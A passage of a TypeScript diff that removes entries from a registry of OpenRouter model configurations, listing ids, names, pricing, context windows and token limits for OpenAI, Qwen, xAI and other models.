["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-safeguard-20b": { - id: "openai/gpt-oss-safeguard-20b", - name: "OpenAI: gpt-oss-safeguard-20b", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.037, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "openai/o1": { - id: "openai/o1", - name: "OpenAI: o1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 60, - cacheRead: 7.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o3": { - id: "openai/o3", - name: "OpenAI: o3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o3-deep-research": { - id: "openai/o3-deep-research", - name: "OpenAI: o3 Deep Research", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 10, - output: 40, - cacheRead: 2.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o3-mini": { - id: "openai/o3-mini", - name: "OpenAI: o3 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.55, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o3-mini-high": { - id: "openai/o3-mini-high", - name: "OpenAI: o3 Mini High", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.55, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o3-pro": { - id: "openai/o3-pro", - name: "OpenAI: o3 Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 20, - output: 80, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o4-mini": { - id: "openai/o4-mini", - name: "OpenAI: o4 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.275, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o4-mini-deep-research": { - id: "openai/o4-mini-deep-research", - name: "OpenAI: o4 Mini Deep Research", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "openai/o4-mini-high": { - id: "openai/o4-mini-high", - name: "OpenAI: o4 Mini High", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.275, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-completions">, - "inclusionai/ling-2.6-1t:free": { - id: "inclusionai/ling-2.6-1t:free", - name: "inclusionAI: Ling-2.6-1T (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "inclusionai/ling-2.6-flash": { - id: "inclusionai/ling-2.6-flash", - name: "inclusionAI: Ling-2.6-flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.08, - output: 0.24, - cacheRead: 0.016, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "prime-intellect/intellect-3": { - id: "prime-intellect/intellect-3", - name: "Prime Intellect: INTELLECT-3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 1.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "qwen/qwen-2.5-72b-instruct": { - id: "qwen/qwen-2.5-72b-instruct", - name: "Qwen2.5 72B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.12, - output: 0.39, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "qwen/qwen-2.5-7b-instruct": { - id: "qwen/qwen-2.5-7b-instruct", - name: "Qwen: Qwen2.5 7B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.04, - output: 0.09999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen-max": { - id: "qwen/qwen-max", - name: "Qwen: Qwen-Max ", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1.04, - output: 4.16, - cacheRead: 0.20800000000000002, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "qwen/qwen-plus": { - id: "qwen/qwen-plus", - name: "Qwen: Qwen-Plus", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.26, - output: 0.78, - cacheRead: 0.052000000000000005, - cacheWrite: 0.325, - }, - contextWindow: 1000000, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen-plus-2025-07-28": { - id: "qwen/qwen-plus-2025-07-28", - name: "Qwen: Qwen Plus 0728", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.26, - output: 0.78, - cacheRead: 0, - cacheWrite: 0.325, - }, - contextWindow: 1000000, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen-plus-2025-07-28:thinking": { - id: "qwen/qwen-plus-2025-07-28:thinking", - name: "Qwen: Qwen Plus 0728 (thinking)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.26, - output: 0.78, - cacheRead: 0, - cacheWrite: 0.325, - }, - contextWindow: 1000000, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen-turbo": { - id: "qwen/qwen-turbo", - name: "Qwen: Qwen-Turbo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.0325, - output: 0.13, - cacheRead: 0.006500000000000001, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "qwen/qwen-vl-max": { - id: "qwen/qwen-vl-max", - name: "Qwen: Qwen VL Max", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.52, - output: 2.08, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-14b": { - id: "qwen/qwen3-14b", - name: "Qwen: Qwen3 14B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.06, - output: 0.24, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 40960, - } satisfies Model<"openai-completions">, - "qwen/qwen3-235b-a22b": { - id: "qwen/qwen3-235b-a22b", - name: "Qwen: Qwen3 235B A22B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.45499999999999996, - output: 1.8199999999999998, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "qwen/qwen3-235b-a22b-2507": { - id: "qwen/qwen3-235b-a22b-2507", - name: "Qwen: Qwen3 235B A22B Instruct 2507", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.071, - output: 0.09999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3-235b-a22b-thinking-2507": { - id: "qwen/qwen3-235b-a22b-thinking-2507", - name: "Qwen: Qwen3 235B A22B Thinking 2507", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.13, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "qwen/qwen3-30b-a3b": { - id: "qwen/qwen3-30b-a3b", - name: "Qwen: Qwen3 30B A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.08, - output: 0.28, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 40960, - } satisfies Model<"openai-completions">, - "qwen/qwen3-30b-a3b-instruct-2507": { - id: "qwen/qwen3-30b-a3b-instruct-2507", - name: "Qwen: Qwen3 30B A3B Instruct 2507", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "qwen/qwen3-30b-a3b-thinking-2507": { - id: "qwen/qwen3-30b-a3b-thinking-2507", - name: "Qwen: Qwen3 30B A3B Thinking 2507", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.08, - output: 0.39999999999999997, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "qwen/qwen3-32b": { - id: "qwen/qwen3-32b", - name: "Qwen: Qwen3 32B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.08, - output: 0.24, - cacheRead: 0.04, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 40960, - } satisfies Model<"openai-completions">, - "qwen/qwen3-8b": { - id: "qwen/qwen3-8b", - name: "Qwen: Qwen3 8B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.049999999999999996, - output: 0.39999999999999997, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder": { - id: "qwen/qwen3-coder", - name: "Qwen: Qwen3 Coder 480B A35B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.22, - output: 1, - cacheRead: 0.022, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder-30b-a3b-instruct": { - id: "qwen/qwen3-coder-30b-a3b-instruct", - name: "Qwen: Qwen3 Coder 30B A3B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.07, - output: 0.27, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 160000, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder-flash": { - id: "qwen/qwen3-coder-flash", - name: "Qwen: Qwen3 Coder Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.195, - output: 0.975, - cacheRead: 0.039, - cacheWrite: 0.24375, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder-next": { - id: "qwen/qwen3-coder-next", - name: "Qwen: Qwen3 Coder Next", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.7999999999999999, - cacheRead: 0.12, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder-plus": { - id: "qwen/qwen3-coder-plus", - name: "Qwen: Qwen3 Coder Plus", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.65, - output: 3.25, - cacheRead: 0.13, - cacheWrite: 0.8125, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3-coder:free": { - id: "qwen/qwen3-coder:free", - name: "Qwen: Qwen3 Coder 480B A35B (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262000, - maxTokens: 262000, - } satisfies Model<"openai-completions">, - "qwen/qwen3-max": { - id: "qwen/qwen3-max", - name: "Qwen: Qwen3 Max", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.78, - output: 3.9, - cacheRead: 0.156, - cacheWrite: 0.975, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-max-thinking": { - id: "qwen/qwen3-max-thinking", - name: "Qwen: Qwen3 Max Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.78, - output: 3.9, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-next-80b-a3b-instruct": { - id: "qwen/qwen3-next-80b-a3b-instruct", - name: "Qwen: Qwen3 Next 80B A3B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09, - output: 1.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3-next-80b-a3b-instruct:free": { - id: "qwen/qwen3-next-80b-a3b-instruct:free", - name: "Qwen: Qwen3 Next 80B A3B Instruct (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3-next-80b-a3b-thinking": { - id: "qwen/qwen3-next-80b-a3b-thinking", - name: "Qwen: Qwen3 Next 80B A3B Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.0975, - output: 0.78, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-235b-a22b-instruct": { - id: "qwen/qwen3-vl-235b-a22b-instruct", - name: "Qwen: Qwen3 VL 235B A22B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.88, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-235b-a22b-thinking": { - id: "qwen/qwen3-vl-235b-a22b-thinking", - name: "Qwen: Qwen3 VL 235B A22B Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.26, - output: 2.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-30b-a3b-instruct": { - id: "qwen/qwen3-vl-30b-a3b-instruct", - name: "Qwen: Qwen3 VL 30B A3B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.13, - output: 0.52, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-30b-a3b-thinking": { - id: "qwen/qwen3-vl-30b-a3b-thinking", - name: "Qwen: Qwen3 VL 30B A3B Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.13, - output: 1.56, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-32b-instruct": { - id: "qwen/qwen3-vl-32b-instruct", - name: "Qwen: Qwen3 VL 32B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.10400000000000001, - output: 0.41600000000000004, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-8b-instruct": { - id: "qwen/qwen3-vl-8b-instruct", - name: "Qwen: Qwen3 VL 8B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.08, - output: 0.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3-vl-8b-thinking": { - id: "qwen/qwen3-vl-8b-thinking", - name: "Qwen: Qwen3 VL 8B Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.117, - output: 1.365, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-122b-a10b": { - id: "qwen/qwen3.5-122b-a10b", - name: "Qwen: Qwen3.5-122B-A10B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.26, - output: 2.08, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-27b": { - id: "qwen/qwen3.5-27b", - name: "Qwen: Qwen3.5-27B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.195, - output: 1.56, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-35b-a3b": { - id: "qwen/qwen3.5-35b-a3b", - name: "Qwen: Qwen3.5-35B-A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1625, - output: 1.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-397b-a17b": { - id: "qwen/qwen3.5-397b-a17b", - name: "Qwen: Qwen3.5 397B A17B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.39, - output: 2.34, - cacheRead: 0.195, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-9b": { - id: "qwen/qwen3.5-9b", - name: "Qwen: Qwen3.5-9B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-flash-02-23": { - id: "qwen/qwen3.5-flash-02-23", - name: "Qwen: Qwen3.5-Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.065, - output: 0.26, - cacheRead: 0, - cacheWrite: 0.08125, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.5-plus-02-15": { - id: "qwen/qwen3.5-plus-02-15", - name: "Qwen: Qwen3.5 Plus 2026-02-15", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.26, - output: 1.56, - cacheRead: 0, - cacheWrite: 0.325, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwen3.6-plus": { - id: "qwen/qwen3.6-plus", - name: "Qwen: Qwen3.6 Plus", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.325, - output: 1.95, - cacheRead: 0, - cacheWrite: 0.40625, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen/qwq-32b": { - id: "qwen/qwq-32b", - name: "Qwen: QwQ 32B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.58, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "rekaai/reka-edge": { - id: "rekaai/reka-edge", - name: "Reka Edge", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.09999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 16384, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "relace/relace-search": { - id: "relace/relace-search", - name: "Relace: Relace Search", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "sao10k/l3-euryale-70b": { - id: "sao10k/l3-euryale-70b", - name: "Sao10k: Llama 3 Euryale 70B v2.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1.48, - output: 1.48, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "sao10k/l3.1-euryale-70b": { - id: "sao10k/l3.1-euryale-70b", - name: "Sao10K: Llama 3.1 Euryale 70B v2.2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.85, - output: 0.85, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "stepfun/step-3.5-flash": { - id: "stepfun/step-3.5-flash", - name: "StepFun: Step 3.5 Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "thedrummer/rocinante-12b": { - id: "thedrummer/rocinante-12b", - name: "TheDrummer: Rocinante 12B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.16999999999999998, - output: 0.43, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "thedrummer/unslopnemo-12b": { - id: "thedrummer/unslopnemo-12b", - name: "TheDrummer: UnslopNemo 12B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "tngtech/deepseek-r1t2-chimera": { - id: "tngtech/deepseek-r1t2-chimera", - name: "TNG: DeepSeek R1T2 Chimera", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.1, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 163840, - } satisfies Model<"openai-completions">, - "upstage/solar-pro-3": { - id: "upstage/solar-pro-3", - name: "Upstage: Solar Pro 3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.015, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-3": { - id: "x-ai/grok-3", - name: "xAI: Grok 3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-3-beta": { - id: "x-ai/grok-3-beta", - name: "xAI: Grok 3 Beta", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-3-mini": { - id: "x-ai/grok-3-mini", - name: "xAI: Grok 3 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 0.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-3-mini-beta": { - id: "x-ai/grok-3-mini-beta", - name: "xAI: Grok 3 Mini Beta", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 0.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-4": { - id: "x-ai/grok-4", - name: "xAI: Grok 4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-4-fast": { - id: "x-ai/grok-4-fast", - name: "xAI: Grok 4 Fast", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "x-ai/grok-4.1-fast": { - id: "x-ai/grok-4.1-fast", - name: "xAI: Grok 4.1 Fast", - api: "openai-completions", - provider: "openrouter", - 